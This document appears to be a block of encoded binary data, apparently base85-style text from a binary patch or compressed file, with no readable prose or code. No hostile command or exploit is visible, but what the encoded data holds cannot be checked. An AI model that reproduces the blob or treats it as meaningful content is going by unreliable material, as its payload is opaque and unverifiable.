zLr!b7L~fPp1){Nd7vjjiW%zbV#iUFe7dXmF34;K)dul4*OtW&P7kT2nEDq#Q;&h_M z{^;m-A6AU^07-CI%tTZ0<@=nZN=X!Fc%#(ThNEFu)?yc^zV zUoYEfb(yX{sB%-5(rzM5hp(A%Dc)PDk$#7`Ogy|@D5DDd^{jYwBwyQs9GYqqMFKH6k?aCwYk zuKWos9fXVeq8P%`OK~N;R}o;IH`+kfdv*c-AJECr5i?HyO7G&gY2c*|_d=7PSc_@z zf-!AuWa0#PwhWv&`0B4N7DOKI_$lAA6-B7vnsxF&!~pe-JMZqa!JTnu7#~MR%a3Ob zMT%ppr`bPnj;VoqR5gI^n`i?+FCpK8uen3W`JzFD-3NaIk06fCC6_aw1CPm1KQ0}y z{=Z2SS=0x`yqXr%2d0$a1S-UWvE9!jUZH z^e%O4l|Y&qH({jvP~H(+CS2Fd=x-?EMLkXgz`M9}Z*8|Y+=1m{ePoIB;!sr{xRHe7 zYgZMBz6A|l+TqB<_!Q^pjQDM}=S89+6y?dQ8m168>#_<$E952*H@KB_raS6e4iOCI zGFHc&jy&NOY5{&V{+6OAygvv9_6fmc%I}G$$j%CN?gqDW8hZ>(Hd|}-c2rBEiE$g@ zh(i2Y$=upK<>%c6!tMLnVo_?e2N*+6!Al_d-$$oGg;TWbik6ht`s6?R5Cf%NjN#hh z{tMbb8YalCYK0!&sP5^jP-qrE^%dKmS}95WNcgoWI9d(L8=X#5_)iD5UfDmSDv0DD zARL!dH>eJ*OIM8iHV;Yd)-I#D0UTqMWUEeDEmvLqo-DT;@el(doL0V$%i2 zENVZa@qe=CN4DCP&{q9u&Lx^G;E9rVaOA41@Y(jf6a4ufO|SUnD&_f8oj~&-KX9s% z<7=u6VnZbbs;tI>wM3R#6_}0OxxRvzuQFsG8F95e_gE;DGmJ2Yt`ZEA0oCIDDVBU0 zBu0o@KJdv)2r+fTwDe`slNV@_4cuu~ZUS>wTUw-5~ z0C5o8ea*ctXE=%01g8IgDvi5a=`V(aANN0;W?GWEVPf^y0vKcjyM_lHsfD>qN^6pZ zg9HW<+{=NE6rU_Gg}91B%riS}&a?QtniyP#=e~w_vhb706IAPGKnQ_yPOV(AO;;*b zr3*wuRx+i?eN#04csnrqcF?QpxKYM8h^UxK#2ewcxcYZj1grJ&m8H*Er=CZu31tyHy<{Ydp z$a|Ap@MnDL8Y0Kl+dL|jZ5{yeB%@TtC%MDBj6GX|4OSO>DobML)V#EPV}Hb@vA)Ij z23OTH{)WA`L4LXM@Ves2zipAp-Hy{?8NI zdK%pz*0&QqEebGt(J)*AYO z=dhg9?(;Dw?O%#%e^E(s2XT1uaTD+qeyXAMjR86_&j)aSLkv$2{oVUI$mrwzQ}0O` zxaE&l$E?QALJI0}bbrK3j@tATM7y8Wx zPQCUp<;Nh8YeS}HC2U`&=al8e)tpX{Vhmyz7jC**0FWaeZ8>sN1_#n?K9O1^~i*;z|5#dot$s4 zUCc4(>#2uv*r7_f9DH7*YqLe%;>djvc_5l3J{j$d)8+l2Ord=@;5@Z9Wv(0c+A_^e!cRk znL>x_sLyaew>4z@G$Bk8QHS$367lCp(Z2WH{A;H7ek7@LjU%Mm~;o~58&?%M2YG^>|_?O z(XAwpQ{C{*vr$XuOgTgG^QWu3namZ8IR82O=g&)CN(Hj@RZY~Gzwm&STbNJ?hCFlBX@IX*pI&+YU zz)es;8L3z>XXxV+d@ZUTnCC7xUd?yuQxFMc3sqnqR79&IIn5JZTaA3;qiLebBn4>4 z@C5Qle-uj^2JHC-i7-C}ieDgjpd#tgQN(V$ER3q-ce<^)Dx&aiZBT8+C3Jtc-zwfT za7dIMxm|2(&hi%qbP8hFtM7T8%cAp(nAZ9L=P3xqzy3JZlH*YkxsnwHayx>hSakI1 zp=rV zEXpG*Ea8(2VgJG|9N4Gp5IO?HFE!1dQA>vWd%e3Mw5XuZnc?Vp=A%p)sg;xG( zF75B}@^zK1A%6T<;5dMC52aZfTqtb8q9> zR1atp{tV3$tPCET!xst-i$~O1;ZX|Q1-)y^gO^>MLKsV+^X)w+tT zMYLe;EC|4OUr0CnDWd*pQNryIvOm%15u&K{JBX&bXz80rkion-roV~U{5UU%HhwgEIV}j! z&0J#$N5A*H<#PNm9h6ZV+KMV%^6Av2M*4%bWQm>%Qu1GFwPn0&r0PTW!|@?eMQE}7 z;v1R+68Qdhla(!;IuPYcmBK6QX?z_H5B`cJy6Q>x$g4G=UoXJVWbH~b6f*EU8UO^42E57*-O@&UjS`lmL#m=pB zm+!zd2igFU7!=vEl8RtX81<^!1!qwElL>?zteG|eocQz3vzkEj_NKxISNAeRN*Z$o zz2gVRD3yKN*Z&UVy9anQL8CGo(FeY>dp$(|jnv<`Z%1Oz9r|onaP<9?KVq{80`$$G zx{GBj>%^qJSRAPT?z@L5jm%NnZMJCY9G`(ap>K`wNyJyiv)xT2A4NX9+x)j!`P43r z3VdjPvSK{~5xLjC`x#$Zm0znh_Vai48&}MxmG2e-?D5EMlYNW6o)*svjJ+i<&=_{s zEb`Mql5`xlaAGo3xOwEs*(g z>r*IE_NDj^N#U#@{bCm5qGN=(`6?K*7ld1#CcW^5LNE1FB>8yb#Yv^ds{gs-OeUp( z!%a*Vj6pY-AfES(*ID#jen!8BW8D4uSj9DuhP2$d1g8(deGKjPqDK;LUEG5()j#-H`;nXOBmP-#WYU#TD-rf)gj7ACLtV^`R{ zt@f!i4fZ3Dgfk<@z71iqUmB>29Go~IlR34R^GR4A)Kjr1_UqL;zl%xEzMSGar;vo9 zB9&X}+!V~a%tUeQKFpVCb53<#s8@fnfbD>+`RpuhamHHA5X6>gP~JO;Np^D2#Ho4L zIppOc?OYX$e|PZ@DI46fuIs3qgqFheWamyGO8%U z{AdU{YeBeTPbpSp%osRP1H6I#4o0CvslZDIdeXM(vFbvgEykQbL1jfTZ6ff+AhREQ z$;R=(bw$2~bOT$UXIc&X3DOs(Kd)P|SCmh^mxj2W&dm;AZZO`6HBe^tFlMU9HL$ZJI{r=^Q>Q+ZH<=e-MLeX(|ij&z1e z^3}!MNvMolxvW$vptKd~K8=JBQhNX}R5^6Fv{@!ss-?%&WZd6w_I%h&Bb7vEo!1bE zfyX<@%+`bT{%Kp|H(^T(=*@ZpE+=3#0C@c+rP9eAeW=}vfv^4| zrcu5WRS)#63=PeY&rmg3iBlX-BPCV$yo3yJ;QW?1Axc*#z+WisdATsVE*^6MX%eUN z9qEB=^3>1=DF|~kp@cm^_M46E_0`~hN73p*M~ago>+W$$_=iubn8>COX8x+1_5E;U zbcxcJEBP0ngov#$Q*Nd=f*d%A7cI7(dLYbn9E?fQ=h?&`@K%NMg@3R-`M2qkHqEJ? zCa9Xxvx7i~6##hAen%z4^TY|>E6KN?jWD1Jyi}{Dnn~FAQ>O7v=Msf5tvF?xqY4J2 zANpz@${YF=5t=yN3Z4I`@9QDIjSf*8XFLaE>vQb4Q6zWM=h1V9s(!qP2it0RPs)Jv zwd83wgQFGw+sleV*Mb6uiZJ_IWiW#2O)Kb@(!wxmIVG}-W%Hw^eA2%0!72c9L)m$9 zjigbVA4*1)vMn+T@ROf<zt#q#d z&OCfUFw>b>%lTy`6!oK19W(3T6%BYP)zOOW&3!a*AL)S6`=l{ZpaOpFq1!dTiHt7r&X36dVPTSleAVGB$rch8h69@LJO<;f z&sHtGX_R7IY@SS#dYci*Iu%<9kPha2S;l;+L?Anx@-jzNbp);Z369US-cxWBCKTO( z>`RB_rE>XIxKsHaj-f7ZqAHZqd90M?tI{u{FWOa_@H>5D<105BJEqPq68tCSy+B;MH(Il6___ z+D={PXVlj+C*hOSx1=Ja;+f!I0QYEMjzcUSfPc9nr$`*}@&|UvfDj_*tAD}q@I}A! z$aDurEAID_BXFk^kp#rnhPDw~j(5vL4zbZB5c6#O{0TJg7WDhNBgjo*?O*>E|j>gqXHw-!ftyc_H;;cVJ6KL1IW9ViG06inqEs_O( z);_|0Z>JVJWUO_N6)DJ`>)zv$VvJ)>qyN~=!n+&;vZ!|TU*c$}X(c?W?GBYkks8uULeveZW_mmc2B>cbBFOV=zN!u!Fu)?cwL z^Xhhubj-$&^4pGjJ(q**hCY*_m3;|R4OLo=rB;Lw6S36}t&94Hgg?=SiD_8xBdx4W zk9;ri!h*Cl|JD{KbiWTkn53`Sry*Ob#0EJF-QLo;J<3|4(tc=+w-p}=|uaa^>U3W{+ zZ|_3%rGhurRwNrkW8BZ-(_JEQ%#PO|!BJi-e!rcP#SILgHGhdLSHwoo9Uk&@5OVbG zw`Jv*ACQ5g-UfFm-uQC~cF8gY@!Ed(v#_o8MEJClL8E4-b%G?AkyNx_lI_(g&SK=P zPRhJk6l;bDde;F!HAFfDvpWm3fIU9Qns50+!yKWq`I24`IWR}^O=({%gh8nPC}g$z zpGs~tSlC{X>j^Zjdb-_S(hZ0ABih}A519hS zPb2RGx9()ID)sPLem^V?f3V;Qr*uFP;RfDB0YZ+_YxJ?l^IrmJ9=sIs9t%QRz5`?! zPtC#+K14KW-40(($DK3Lj{o`j(Wn#nH@k_r&(c z9bxBUPuJJ~PI90gf6V1}Jk}s&jc|&288_B_qy&w+N#BK!olf4I!CVQt;1g-SaEn8V za?GW_(pj=xGtPpdBi=|*S$TX-q^_a1lA<%|Vn~${GhUeR z12IXZSG+pZ6KoGGQ{-bmD3-r6T`<6C-5&g`Q(a`{yKLDZIljP>bu9}@PjK<1{?XZ% zw;#oIcedmt$Cl#svLpD2@zlRjhq2zXW|0lVJ_B~iXbt#^1L~XFlgvS%gX+~^m7NldrU(cYk`|FCvI8Z5Sy=&&tSk(H6#- zHUmEg3(}#ZfyR;)ZubPKiU>bPpUYioK!Qt%h(4}JiTaCP@GQP%x+k8AWT2hJp`UBe zkWvwbX?`r`aK%ZIE%X^m}c4c=>(< zI%sr`1hxd*NHORGI-&F`JEX+ONIsu3;U5We+SSvMylDC%4BVH#@OuZnS%+~u8J569 z`I(sgg)IZY(C%F&2ZZ+Pe-_Gmp=}<5Wa)=H0U~FXNX((3Am81V)BcO!FQ3(GKGFq% zmgfRIveV4iC~<8lWmGzX#ZlT1QY{Hz{kG|Yr>PP>j9R}09csX*~X`8%8R_hSRb`0T=Erq1I zE!yFwc@6f);dW!VDXy*${BG>&~U|7ff0I~1KIezS~GNPYnyGYW%-b0bW@z6J9N1X zk_#@5O=u3c>t0py&xCuR(|wm()A6EuEClCgc1=4~06J7Bh$&M0U1zZJF)@8*m?6^R{_rxgnVb;Rt*HeQZF^)z_5|3w+wjKWgi8d|Ynevh_`% ze=*o`i$II}S*o9r=6!bme(Nu1jbT#Buev`P(L7ed<4U1UYwG;$EX|#KuLi7cMc=93x7vXdc1W zS%8;~JW4{EN;+HLPt8%oaRmrI6vL65N?F*HK@{FDPWo|(tbSWOQklW!)N+c6x^XGv zO4Jb#@gzu_%};_brgkEKD28>bJy;H#;g(|bMBJ$s&>Ygs>7>W}uxvzZhCxg69f!m_ zm2_2ukaC8fjmwqAjg>nU`I}V)l5hN~5QF89nksorz^{N}=lIs&J8FeT!;f@qd}+p0 z(=1_>i4!j0N0ID)29=CvHoa{tm1+z-v|7AD3x7P9z{F*F z-=Ng0}DIb4fq4>zB<&qBNqtU6dyi5$e+lI zuMtLlD#V0Zw{ycTu_w*bm%h(Ip2h#W*Sfvsn81@cwsoFQfZ;D(w-2V{%mnJ`)g5iJ zJ`#N!$n=!wjhY30Gv3mM>^dhKMb(Q^U4O$qu~-DvsHOM)J4y%J>Fx>r46`cL`nvVH zyN8MHReH@^H6@r9qXIvb+M+@IjuT<3Ee7SiU8u5E45ZYtn%p_}3H|M|2u~6f1-Ei! z4q;}i$_a8#llLx*hIdBMtPw>5jp}N;`&e(8-Xb}_fA4+uun=zq zdy46;uzX0d(j3*36^#=gk(WaT2{&HA3UE1w=%VyPA!nvjix15VG+)J8;j>hLn`XxuHYJ1mDtgniJP$ZbuE4qFIfR`wbIleY zJgp-AJ#q%R7>f8RjO@c@HN2iw1@@e(0Cvf572 z!qI{ij94j}o9}+&CxC5XlDJte$}I4TF*+30)k;_;ZT(t7`QSK7$dhNCw#bKo?`1Ow z^ynhDG~?>Af2+tvm`y% znWA;1)b+8Oa8R8VjYZxp0u<|)d*_Jm88lIfES7-v&mwuK6i z6x3{(9=zWHb=A;c|0UaG^SS63GufMoCBAPYKe8_i**Z7|)>C>9^Y~C=czp|!1D>%2 zU{!Z5@ttt*zo>t+M178%x$bS(qa?acwMSetroMIN^M*;_HrBBDLOdFwb19Dwo{(=u zh1sc!0K(5(7-XN0MPS+3FKSp%0ztW0!R*nL*Z$k`!^AjTpY#X&QgP7BUTND0N^hcT z;;1gBR>5P1#lMw}u%h%66nEcCX71tgp*OpH8`|Z8Y9lkWPQe~|5!>t*AJ^;S(&7;ug zef*XZ@{27ggMRzTP8(dfXtXqijMV%nrEI8oEU?*3NnT_rZ}}-RWWjTn0FyG9lAngW zfP*D2U5r@H%|vMVbOsC;0Y)8)H=cK|6`#rQFSj33awv{o=M_A`#{|7%V}^aI2v(E` z#k#!@?l(a@dyDvBhvul1i&-9tt(w|o{|N@X-obx*GR)RHLmZ7{8;0m32}7dL+jQx* z`W%c4i%$;=)Wcw-Qs*H&iq_zYpViL+?g|-m$9FHgwt6q~?>oz#?FMI~HSDnR#D{GljT&h7%bCdBW4Rs) zz71EEc=Q%+rFq;~3oA6`$l^VS+n|PO{R~Bb!_-er~I3FsCNL9Rlfhd&KnjKMYXN~*WBiNho^VK^rqyk&V{_{}B)`wYi=Kh) z>nk6_I<>Z(>%+|SxrxntP`3hpubi`E{Mb2+oVRp&z{J_^ZKH<|`te|nbJX-m9~#X0 zq1#JSUo4t*eqq!Dyh01;V$`^~PoPh8S_t2-%M{>tyBoC+?(Gs5@`LH7z<<2>yoMKJ zydygo?X0v!snhEk4tU>mt-lZXvj3Ch2{LMb_=w4WmEE38iHK%?S=@q4j&XMntovm; zFVoBS64U@@dP2L2Fsg5FV?%ePUZm{24dn?Ba^R}CfSz+G0Y3LQvsBD!YAQK+Z)ipg zFKSelUX35i(eHZ$prE|#8^wt1M|E5B=mp3h-xB!fE({QL3{UjQ%s3>d$IsI>$$@TwyN4pP= zcyjJIQ0rDhWA~9LgQRu8Wdb zqc9^qgg~SIr1@tcSXHzwL4xQ;#6q(Sy)(hqZpLZhZQ0&8y3b&@1Z$a0QDwN7T1b5d zEu(ctF2$>l$O+AFe=F9Wf(2!tgi)7jN`D{R6j8^qrrbRSIk&+a`>y5S#6+bFgULP9 zd5dwd9gI(&( zt_P({sJ1zq=)Eu*mFeI${nVqW49_fFfouetG{Dyln3oeAg@+iqkMDf~L{&{($SRnu z2WBRa*&hj;!0IhPanb7Jp55}h%!);=Bf(XTKkZ0gaDFUPw%_y=MGpwE_ZAx}EBqQs zodBr;U&?vbNzw}>^qxX1{HfbIMqZGo@eXXATjpamB@mSsg9ad=-6_c;B56yRG`Zt$ zmW$*{nap+UMY619%RYf(a(QhM@{R-XpuXh_#f9*PNBYj_DCpx_&l2tqvf1=w)=VnG z^kmb_dTG2j>OE&x0XYHB5sfG-?~+?6@;(F4H)it#jm#R1Y07zdK6@!{3d2C(GkSuh z2!|B#@V7?{HTVXbK4L}*h-H2{X+Oo?ApBXD9Z?%oSDD50PX{(PUrm!Yl5slz(P%rv zV%M=?;LT>ZAaHDI^h}d0(mV$^4*?&Hn!Br79n=SRbP0GL0tHbLKN7Z*X+SgZ5uvTs z)y`knbFpNnY`*ji-vj;LzA^Z(#yxON&{DH8;BM8-7v3qGntn9BBK+v;Vi zO6|8VIK6aGZdNlKw&_-csD>1yh{b72q5KY@SV?TAj6ex~uR#v(M|@F=y6uGNy>LvL zVqz276jt_s5N4z)j#}MGR#sc6H3svEIEH4IoqSlSpr>n2_6du7_hbW%Fl5JW5c9Ag z_W-(sPE{)Jg@g*RNV@XYSr5=BMV(kX|J<_P%zsh<$fO^m_g9@Z3V$A3 zzXq*9l=b-?KC~!xhj7XpSXh2Cc?@N-0jJwiOD6C%29W*|A$CWIM!c@eHS4Nc?~S(E zuKn-&>n}6@2Tp(>9Y(%A1n;5}QO{CxIR%vWKvJ+?QaEF&$Sm_bx#D2*$oFQRf`sHi z#3-J$hkzkEIx4FOtoD-O2k{xZ%1q`*yi(6~6` z?((4ib3!ovXShD~cYT!Z1>1C;1rQ+<3)3>W&mQi;@zJu<0{eY_(tYgn50#*#-xZqy zCGLv~QPGNE7d=^bYnsRmxgl6;6NYbtCFwj^h7ewVmADMg!ER(r(0&b0IJG?C`-1=8 z=f#=@SA}YNR12H*XCED4mn8mR1;1{7{k}zTy@mZ_xE5JBXd)n>;>ibLvl1z$`k5%N zoSl1%-9HUG`%|cE-#H94C~Ad@I5Tg~O>RyCco{!sN0|R^mK>)E%1Q9v<+8i3(M^XuS}Hr0*07^caQ4;reA$XDnp#iM6tTIbX+$!zH%G;_;T`Gx)z- znikuBYIwhz_LlQleljCrg#XQ^L-`Onn4uF4yU6>Vc2CVn=&E2`6ZLgC?>^CPGQVQa zKle`cagejT!Y88`fdrEm{YM1RJLh}li2(+U8=Gl7tg3tv13qY-cLZ2bz707KuObkg zx7o6iRHff6d3{-ZcI#YzNe?d6l^bj0z4oJdDyt{1S(z5^QvJg~uNJMdrG+*Lz+`*w zKRVQQF^2dX*Ox7=IW$c8;8Eu6AV~BR*^@FM-6iUeqgC_!-p_#y{IP{#Sv;WX!H?>7 zDgUQMI;prT_o%g~jLjEaxS$UWyog>s>xMOR2p7pszgmr^To=c9qxPLWf_lk^*nHqH zRT#pUHBWISo@kBfiF^ohI2o8Ol=F@1wcrRXn)xw@mqqMky$>d%(v)Ys^ul$wA3|3V ztNtq>{Z{a#6BL>&Nzz}Xc^sE#0>r08Ud9k(@$`?SbwsgNfx0O0wREjYwPN<730b50 zW64^shx*Vo|9F`PMS7EpvkcU=`y|gQ8|Cn&wg(pLeggd9i8c{UPli!e!b`btF81#K zTo&`6^WIWb$0mi1z6!%~#U)!v__4!H!U?R3-7m@=ej0&1>||`E{9WGR{VyulhdB zc7%7}5QZNvq9%Iff?24Tx)6u8G5Wt-{$S2cTspba?Y{e|l3lbi`4e;G{(VYoUMmk6 zbOEE+U79~HUGP)+GL3t)&I!_1BV|qMQS6Bb{+rgCn)4`|1Ti^s`BUWN-p6))?=RAc zePDif;MP3MdT#AQAtD0N&wMEQUR=SWs668<^!iGFfbxk8nFgds6eucDB&Pl@ zisUf!0>Z?ev!E{m^jOO7z3a>w_VCvQY>CQ*qf{lw1bQz*e7XH?`bgJN$D*Oi10Abqi4)E;JVJ zPD!1slxI@J;xtQOyW6zb9c72OLeG8wnz)zev-oLnzH2W|KTupj%*W*9(Ma|Tx@%t} z>$swfCE33BK$@|{o|oHW5=GjznC_hgnImJ@a4b@#A4NabOuB*{56{}v9R^$+UYg!> zp@En0fWlE;9@5~}GsB?RI`!e+L2Yf-hm5PJ;ILzeZ6oT|TBcYhtNeR0d40l(o{6`s z-BX?hV{rc@Ay)G1qG zXVqr5_`!(B$@#NY^~%L2OwuWY@mglv|B=%e_GIjU_89zHUm->BGsXddLt`sax=No2 zj5cTuwcgvGp=TT8_?Yt~e7Ux)2i5}yp|C~8 ze1;b0u~)o~mIHcqZI-Udi%R>)adx{yEQrqxCx#)jr{nGysVqIK!_PacfxcfK^eydV zK3DmvFKvU92ms6&eY!XPg>&oAWkH`7q@0P3yrtX`$={uP)o*!sr;G<`tU$4;*3+zX zyHjp$&TX)tVjWr`d3exzfdMb)SLC< zUsNKujHnaQG+omZxxlE&eS8&s9WaIHnamTeWZ@~5{!9l;e1!fyME_=)B2Gzh4jwqY zf0Oq5K*MRUa`~4JtyV_kU)4B8n~*tZqWYrig(K!;|DbTtGRzxUFa0sKPo6@JyHWCj zc)K7V{~gSo!ba*go`Nskf&J~o?F}exG_lz!AM?@G*A{1txFYz9`XFjg- zJhX;>>l_MG;IDi4OLsmv9B}~Mw zt!49AHmEk98_*%igq7uLce0%7OWn3UgjZ1AhkP`xo@x$%u~Z3>Et|f@tDDmt4Uztf zB+(L{`k966dq*l$y~Mpkg3HImEeNyK%u}vozV6P5^4A+tEl+!sFf-I1r^K*5nR7|u z+@l=A;Qz``9_Ul_qf8;Tx2>6ZXt0~@Qm&LtN;Pvhb5kz<_n#_hN@f z`On8(-gn8b7sy>|Bk9v;*G3ufnHWnr&O9N1ON zB=J>gm%9(_T9ZBpxnrc>oCfo7O@efl4DBEA^YBekQ*el{ge+cu&MTg9cJbQz{#yMm zn<7?i@GDkm=e(gdGOd4>0CSZV{^2Zs2f`J3aQ&emls`K4-wp#xLzw+D8sDr&(hP=% zJLTK242ldJph()UN3hxdQOA$e7WmP30?f0XGntH9%C5Oy8SJ>M_oLzUh70gRE>-st zfuu7)YjAHej1TlHnH+{Eldw9D;&s2(e7ctbBU9#7e5N421^~^n^AI7$Y6N zALerthSym)zaX(ZeWkF!0n~>*7l3&vamNz4D*5ZiRqGUr^M&zUQMsd1qHGsAXp)0o z0_vjFKRzMck@hS`HYIA+SJtB^uenah5MRidkfq*bfH?-hwA{;c`EPGDgOp0lQ#SQe z@hMP+v+8&oSE0iSDAj$zpR60Qtyl8pURL|PtQc81kd;ijeO}rP zU0nX?_2<$M2We)WF+0Y;WgwI|{@=E}l{oVVL-D9xrmCnfpA4ftz@~EEazQM0k49{0 zXn#Zg2JH;!o}@lWAy6yyk#fq(A;B^?2Zsf0W{~Ldp>tnY#T1T{^r4po_;A3 z_BkU2^Te)G=F%@Teq1>Pd!=L~r~Iitxv4i`5`4o@@1_)njC{nwhNad4j?wzi+0KSy z5a=;5-bBVf2~PN~a8-U~WB}HZmjwqH49hS+pUI`aF!fDvhl&?tSUmHJ1KExvaF&|B zr+xTeHo(9el$43|O3tbM$@*u2=4Er~%FClvo5OjSLiFhU_Bj-+%)c`jx*R`1%zP9PWd&SG^FvXTL35vn)l z;q6De*#eI?zj4fS__u7mVrf&m8_scrgp&piKup-5GRh|_zU~)1Xh_R80doZL$J{q` zGMVjbpmz%Bao~i}qnWS>JKc^dpC02TV!9UUP(`i;tXm6hzpf+vF`1+lPC#654t_8K z?c6W->!G{r1ZQ7Sv}I!t_3w466i#po#IabalEJR(66sScw8R8oFs%9vXBAA1fAET7 z(j1~DOEv*-E|r9ouD$-*R%C=@tD0^V*@kG!iQBQ#gVLLyF>6&8KJn^6JdxFVyqFK3@1BUoPn3Q0K9;&FEnr4>)x;kdt|+X{g9V=I+#QL zE#MIQ2|QN#aXGS#YjE*u1b@+fX#ZFZU&4sHdjp4?a!)}NRUJoua%`k_TV((avWHJe zJ1;m>TFRTt@w3FtWlgxGIC7-&#DZys|Lz(5ztgiLv2(*UcEha0z9r9QYsyzTljtmb z`9%JF>UZd{X)Z%>f9$g!m(khnCCZ4?i^QHh%0hBi7)nQwJiz73C{iGdacPsyuC%Ve zM@b?cCN}HWAe7dv=G{aFWjcbk4F6&CyOeTM^dpwUk2Puq6wbkKMHPeYS0~volr=`d z_o2^#v(qq!0^ni0=MzjhUsv_XE@D8-9d^J}KIp;&l}Xce>~fz4rd5S};0?xY@ECYj zBVx@G2;c8#CU)O_hI_2OdTa*7W;?xWi2`e#CY7L8q5FKYq+isJ^w_p)MHD5zHL*Ru z=+qOjEiBh{?UQ^610k5yUtWEyMgJAY?lmOZjMHFXgYE4oG3+@1{a;Z2KC{>2cVpcK zTMcF8eTUI1Ck-n98<&!h9NSDA#SBx30?--3=|Mj$F~8`65ZVNnVU!0aGftHsL1GK%Dn>z%VS2!Xw&bGX;?)Z<-OAnMzM}T3VhhSujbOVC>&Dl!a8i7 zB}?nbelV$g7SvUvc~=8;-G)X^Z@wG*YfESfV)KCD0h7)!JF*jV=?WnI2d2e0Tr{ zc|R{(#i;H5S9?yj!~cbSh4)SO%h82&&jnp;h{AT`J7pQ)CmM(GaNTm_J!-$D(d_7% zgY(lOICYZT2q^LWv9WiuxS26YPW>(Ew0_JFGo)O<^9qVZgI7Qg>N8-_)fWHLS!E#c zssdg8xYMyKR-UdX1TZ4npiJ4oOSi7!qcX3L_-JN4F#8PTKA$O4-wU~;{KSAgrXb!u z7OT4M)EWF>=hzAMl{*WcQz6_=^^3173H@%?{Z5melztlMqcjY(y6snv_pAhxHX-63fW{W19+D`bP8mlcg~#lg=-y-`C*R9>R6=8ET8h=+mpl zp9*)cmx@Mc;)7}D+BFU=M~WRgNrU(m{FD8z0uy= zJ{Ca^s4Mu6R={-T%Eng)jPwu8!+OJ&n)B)&LR~PO(~waArD+s1$c-;=P;nfO*M0RF zA2)Ctn#LZLS6#E;3N{ZHG(4UjQYeWJX3^YL*p&y@{w@JN;EnExXCOyk$G}JEY|Omiq}t+O`woQwM*q{va!q}YOr3Zb@oyFA zhBK{c{1PzNB_%D2#CfH~u$+}U%SGKwY7j&41ge5s;ba*`qa4pG3yuQfiz_I9!qOKnu*u8=3>uEi%A1qXP@S#EXs>+H&PxvN?zQW26K2V?uJCY~;bwmXe+v@K< zJ@bFG@v>i>wumdAD$$d7t)5S=R0rbM2x8E~{D$8(lfg;v|G3+x#Ur=-V(Z zlka=vx1%03|8_LITu8|Je8}uT^M*^DsM>VN?}R_dGf96E=;m!nkJBK13UGdlAL#Fg z_1;d}n|z82pRd#8BfG@!ujO=~_&HbI5pbXaG549XMwbsmmmcvpSGYwJL~tE~u*-ZD z(%q^iXTekAg*X|~xnIz1!b7lRWknxQVxJ-JC7|%#zjRx|DD!cz?o^fM;^2~8=s)Ka zAH)pY<0OTi7ysnR&&=tqc**%aK@-JLRv}UD>NM+^yW6U^ww!=%UAg!RD5Y@Yq%CvJ zOZ-XY)fT~J-CfW*UQjH$MG&Ef9uIUt{)PI=}mGh zKxvTJGZswFO%BFL_?l=F_Yfl(Bba6iIW#qgRqPgI%0*Qs8rBL9erkuF97sKTtKo9ZEk`)J^rIt>5dOr*9erB^R0 z@5NdB%_U=}!h7Ois8cq_KvuEcfE{7r!|!v}AB`pC!|#75hvDNWE13I3EcY6?)g2!{T`;INrXTx_JV}nwu$I|R-!mp}W>jW>x64x=O*>?fBY!Zgr622>LCpm2&+Zd*GKZ`!~WRmBx!pnK+lBf^?5Q#z~-a1 zjpAEDWT;lcEV-YHHq(rvAr{Hs=u2g67cKYw_y`rXkxIlOz=*ZB;f09y(I+d{#a~2V z#<~AH2btxbro?QyK~Xun`xFD-bV6RQD8fNd7(EU$d;2G9v9D}9wkIZ=8d>;hb=URj z6v%q>gEuJ3i|E-a6iO^x?^qb#ZVERybLP`!fleCm32+ih<}=UlyqGP7d|;~8M%Jd* zd-Wf&1wWuQx=Xpm`A&lSsRh?yyy8N#XH9^-lVL{aZf&Fatte2332ZsCOY+}vam_ZF zh5RLTKf5(Cd(W32@ni{zVhKL@7cM`a=Jaln1#tI0c@uS1e_dY8%RZK0!ZDy2zei-%`vZ z$Id<;?QSjVRXBGvB_Q*aPeN^XHm?3NIL`SJTlR?8z#VR{^qO?Pug}y)4A?w9yF7}YAUq%7q46Q;uGmN>;>>Y1MW2zO?$3(P;p5%T7&h* z<=HKn)->^kX_!2^j{#>Nw$rMwBWt$Om`dY+c&e8>^w(%bN?ITW)N-)H3VUBKYW;qt zKe0vJE+rKp)@kuAU5Y7TbVFu|9KuY0+0^&?`%-=0HHv+`&qI>({qEblPJw~rqlDG( zu}CfuWVG~UB9Q=zT1+)2O!dDJC!y%P!H#!^#k@uz=Pr(m>ac?-)S@tdd=6|S} z3E+`w_v8Bx9*d+n+}J4CsZNpqFDi>)T<4s8Zpi2IUKjcf&iDF%)=VjMLUSYjfKf{` zwmBVpwAH*Q{>sf1WVHc6(+k+|=|vj$%de+i!IKo!e`))*p^qCRhAB&g+`Gwv2Us_v zUssEIO~*|sMef9Y9FEoiOs1YM86pbLeJLAPx%zHlj5n-4+ncWJTRt^Dd+X|>--@f5 z4Vm9=Zh~}P>sIDS%^vc8C%??d>Sz^7oRU~he>?Fg7X8zRQ3&W{*mzApMQ*_OffQry zCvM#fu*LmfRi9St6g}hJCPh?o-sd40hUw;p&Wf z?8eFsU_Wot3b^BOrJkI8EzpdWO3v8caR>~d=x=PhTY)txr}Ee@&M( zOLhmOP+#HoUc^KvS6XpC8#PWg&{IT?uBU_)f%zA~$~o$RQ3!I;aH-E46UocAyvbD` zM|Mo@$T`5if>UgK{Q^B#`RjmE*N-JkH5WX#D6vbOR+CbmVM%NWkm7Qczu zGeh6COwuFA@s#B31ZQNJK5OwMuej2Or}gjY?Ce~tMmP%yt>5*8GvcA4nKGnn4`|L~(A6T83_FXEahkPI-@J)O zUu1Jv?@Zxt0@I^&iSrIJ=bxmO$9(#oPDO07kIEA5vmhti!Mr@Y!{~H>PLb17MJDjeR%Bp)W%l`QMA~W#Wf*6z-Yc`)jY=RrW<>?9tTony|Kr?YHdmEx+H?#? zSE0sRN;itX6Fy}w?2PXQOdtyCO_khyd4Jx^QI5y&xzv%weY8#BO3WAHB8GpM3k_TW z;LvWbrLhUeSi;|3MK1dB*?{*Yfr1n{u>rTU%s&;xl4quBQ!UL;WFHc3z-&dJn=9ha zF#WcW6(!kB`!(@^L8hqwz{Blm0jP_TeUv0F*P4>`vKPrd(ct^E-kC1!#|_QLyxg0V z*1>xlkw2n{zlm9tC%=7nKoAkcKr~=@1RL@%8ViSPx?85HU=(5&U?8#m$mR)bE{FT| z9E&w!ft?XLo$qZXjp_$6Q1WSK`8W;7Xz-{wMz;LLqr>ej4{ar3|F}6n=zQ3_qMT<6 zi$xHNitpR($@U=T-L!3p6;6n4fHvcUWiiTiA3w*;PjjdKvJldJmj;nlA?W}QrDu4< zF&%I^VUM`qm7+dwwe7rDPZZ8cnUUsYP|`}0Q91*o`9m-?eiKvTndw}-rc4I?v)ii@ 